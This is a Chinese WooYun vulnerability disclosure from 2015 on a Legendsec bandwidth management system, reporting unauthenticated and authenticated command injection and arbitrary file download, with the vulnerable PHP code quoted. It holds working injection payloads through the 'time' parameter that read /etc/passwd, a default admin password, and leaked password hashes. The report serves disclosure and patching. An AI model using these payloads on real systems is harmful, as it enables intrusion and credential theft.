当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(21) 关注此漏洞

缺陷编号: WooYun-2015-165284

漏洞标题: 网神宽带管理系统任意命令执行漏洞(无需登录)

相关厂商: 网神信息技术(北京)股份有限公司

漏洞作者: 路人甲

提交时间: 2015-12-28 11:47

公开时间: 2016-01-28 17:30

漏洞类型: 设计不当

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 第三方不可信程序 设计不当

7人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-28: 细节已通知厂商并且等待厂商处理中
2015-12-30: 厂商已经确认,细节仅向厂商公开
2016-01-02: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-02-23: 细节向核心白帽子及相关领域专家公开
2016-03-04: 细节向普通白帽子公开
2016-03-14: 细节向实习白帽子公开
2016-01-28: 细节向公众公开

简要描述:

网神宽带管理系统任意命令执行漏洞(无需登录)

详细说明:

该漏洞报告包括

一处无需登录的命令执行漏洞

多处需要登录的命令执行漏洞

任意文件读取/下载漏洞

0x01 无需登录的任意命令执行漏洞

code 区域
/usr/hls/www/report/reporter_export_img.php



部分漏洞代码为:

code 区域
$period = $_POST['time'];
$topip = $_POST['topIPValue'];
$topapp = $_POST['topAppValue'];
$inout = $strings[6];
$linkid = $strings[7];
//...
exec('/usr/hls/bin/floweye type appThroughputLine period '.$period, $output, $return);
unset($chart);
unset($dataSet);



很明显的命令执行漏洞

由于该处无回显,我们可以借助需要登录的文件读取漏洞,获取执行后的数据:

首先我们执行:

code 区域
**.**.**.**:8090/report/reporter_export_img.php
POST:time=1;ls -al>/tmp/wooyun



再用任意文件读取漏洞,获取执行后的结果,如图:

(**.**.**.**:8090 账号/密码:admin)

1.jpg



执行cat /etc/passwd

2.jpg



0x02 多处需要登录的命令执行漏洞

code 区域
/usr/hls/www/cfg.php



code 区域
if ($_REQUEST['cmd'] == 'delTemplate') {
check_admin_priv();
$count = 0;
$ids = split(' ', trim($_POST['ids']));
foreach($ids as $id) {
system("rm -f /usr/hls/etc/template/".$id);
$count++;
}
operation_log('日志操作', $_SESSION['userName'], '删除'.$count.'条模板日志');
returnSubmit('');
return;
}



code 区域
/usr/hls/www/stats.php



code 区域
$exec = "/usr/hls/bin/statd type ".$_REQUEST['type']."";

if ($id)
$exec .= ' id "'.$id.'"';
if ($_REQUEST['period'] && strlen($_REQUEST['period']))
$exec .= ' period "'.$_REQUEST['period'].'"';
if ($_REQUEST['name'] && strlen($_REQUEST['name']))
$exec .= ' name "'.$_REQUEST['name'].'"';
if ($_REQUEST['dir'] && strlen($_REQUEST['dir']))
$exec .= ' dir "'.$_REQUEST['dir'].'"';
if ($_REQUEST['start'] && strlen($_REQUEST['start']))
$exec .= ' start "'.$_REQUEST['start'].'"';
if ($_REQUEST['limit'] && strlen($_REQUEST['limit']))
$exec .= ' limit "'.$_REQUEST['limit'].'"';
if ($_REQUEST['sort'] && strlen($_REQUEST['sort']))
$exec .= ' sort "'.$_REQUEST['sort'].'"';
if ($_REQUEST['topN'] && strlen($_REQUEST['topN']))
$exec .= ' top "'.$_REQUEST['topN'].'"';
if ($_REQUEST['bridge'] && strlen($_REQUEST['bridge']))
$exec .= ' bridge "'.$_REQUEST['bridge'].'"';
if ($_REQUEST['filter'] && strlen($_REQUEST['filter']))
$exec .= ' filter "'.iconv("UTF-8", "gbk", $_REQUEST['filter']).'"';
if ($_REQUEST['filtertype'] && strlen($_REQUEST['filtertype']))
$exec .= ' filtertype "'.$_REQUEST['filtertype'].'"';
if ($_POST['filterAuthorized'] && strlen($_POST['filterAuthorized']))
$exec .= ' filterAuthorized "'.$_POST['filterAuthorized'].'"';
if ($_POST['filterAuthmethod'] && strlen($_POST['filterAuthmethod']))
$exec .= ' filterAuthmethod "'.$_POST['filterAuthmethod'].'"';
$file = popen($exec, "r");
while ($r = fgets($file)) {
echo $r;
}



0x03 任意文件下载/读取/上传

code 区域
/usr/hls/www/cfg.php



code 区域
if ($_REQUEST['cmd'] == 'downloadSavedCfg') {
$name = trim($_GET['name']);
$comment = trim($_GET['comment']);
$filename = $name ? "$name.cfg" : "saved-".date('Ymd').".cfg";
$result = $cfg->query_raw('system config show-saved');
header("Cache-Control: public");
header("Pragma: cache");
header("Content-type: application/txt");
header("Accept-Ranges: bytes");
header("Accept-Length: ". strlen($result));
header("Content-Disposition: attachment; filename=$filename");

//echo "# ".$product." 配置文件\n";
echo "# 模板文件 $name\n";
echo "# 模板说明 $comment\n";
echo "# 创建日期 ". date('Y-m-d H:i:s') ."\n\n";
echo $result;

return;
}



code 区域
if ($_REQUEST['cmd'] == 'importCfg') {
check_admin_priv();
if (!$_FILES['file']) {
print "{success:false,msg:'文件不正确,请重新指定'}";
return;
}

$filesize = $_FILES['file']['size'];
$filename = basename($_FILES['file']['name']);
$filepath = $_FILES['file']['tmp_name'];

$result = $cfg->query_raw('system config import filename '. $filepath);

if (strlen($result)) {
print "{success:false,msg:'".$result."'}";
} else {
print "{success:true,msg:'配置加载成功'}";
}

operation_log('导入配置', $_SESSION['userName'], '配置文件名:'.$filename);

return;
}



其他的漏洞案例:

code 区域
**.**.**.**/
**.**.**.**/
**.**.**.**:8090/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**:8888/

漏洞证明:

code 区域
**.**.**.**:8090/report/reporter_export_img.php
POST:time=1;cat /etc/passwd>/tmp/wooyun
root:$1$zg4quOlf$BWNN8CtRMsFgRJ7L41EdI1:0:0:root:/:/bin/ash
admin:$1$eJoQt2j8$31EKInqA.N2cM.ggR3tX9/:0:0:root:/:/usr/hls/bin/rst2factory
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/ash
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
fcron:x:22:22:Fcron User:/dev/null:/bin/false
nobody:x:99:99::/:/bin/false

修复方案:

全面检查

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-12-30 16:05

厂商回复:

感谢白帽子提交的问题。经确认,该问题是流控产品的设计问题,网神内部正采取该漏洞的修改事宜,同时加强对开发产品的代码检查工作。希望线下白帽子同学能把收货地址发给我们,网神公司将会快递给您一份礼物,表示感谢!

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2015-12-31 15:59 | Ano_Tom 认证白帽子 ( 普通白帽子 | Rank:474 漏洞数:47 | Talk is cheap.:)
    0

    可以知道什么礼物么

登录后才能发表评论,请先 登录